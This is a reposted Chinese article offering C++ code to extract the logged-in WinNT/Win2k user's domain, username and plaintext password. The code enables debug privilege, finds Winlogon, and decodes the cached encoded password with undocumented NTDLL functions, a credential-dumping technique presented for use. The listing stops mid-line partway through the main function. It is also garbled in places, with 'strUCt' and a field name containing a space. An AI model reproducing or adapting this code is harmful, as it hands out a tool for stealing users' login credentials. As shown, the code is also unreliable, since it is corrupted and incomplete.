C++中獲取WinNT/Win2k當前用戶名和密碼

2019-11-17 05:43:56

字體：大中小

來源：轉載

供稿：網友

　　本文所用的代碼原創作者已不知.是ccrun的一個朋友磨刀老頭提供給的,在此對作者表示感謝.經ccrun(老妖)在Win2k下試驗成功.

// 獲取WinNT/Win2k當前用戶名和密碼，調用以下函數即可：
// bool GetPassWord(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
//---------------------------------------------------------------------------
typedef strUCt _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _QUERY_SYSTEM_INFORMATION
{
    DWORD Granted access;
    DWORD PID;
    WORD HandleType;
    WORD HandleId;
    DWORD Handle;
}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
    DWORD Count;
    DWORD Unk04;
    DWORD Unk08;
}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
    char Name [0x108];
}PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
    DWORD HashByte;
    DWORD Unk04;
    DWORD Unk08;
    DWORD Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18;
    DWORD Unk1C;
    DWORD Unk20;
    DWORD Unk24;
    DWORD Unk28;
    UNICODE_STRING EncodedPassword;
}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT(void);
BOOL IsWin2K(void);
BOOL AddDebugPrivilege(void);
DWORD FindWinLogon(void);
BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
void ReturnWinNTPwd(String &, String &, String &);
void ReturnWin2kPwd(String &, String &, String &);
bool GetPassword(String &, String &, String &);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION        pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER       pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER      pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING      pfnRtlRunDecodeUnicodeString;

DWORD dwPwdLen = 0;
PVOID pvRealPwd = NULL;
PVOID pvPwd = NULL;
DWORD dwHashByte = 0;
wchar_t wszUserName[0x400];
wchar_t wszUserDomain[0x400];
//---------------------------------------------------------------------------
bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
        if(!IsWinNT() && !IsWin2K())
    {
        // 只適合于2000或者XP
        return false;
    }
    // Add debug privilege to PasswordReminder -
    // this is needed for the search for Winlogon.
    if(!AddDebugPrivilege())
    {
        // 不能夠添加debug特權
        return false;
    }
    // debug特權已經成功加入到本程序
    HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
    pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
            GetProcAddress(hNtDll,"NtQuerySystemInformation");
    pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
    pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
            GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
    pfnRtlDestroyQueryDebugBuffer =    (PFNRTLDESTROYQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");
    pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING)
            GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString

上一篇：C++中類的數據成員的安全隱患

下一篇：C++中建立對象間消息連接的一種系統方法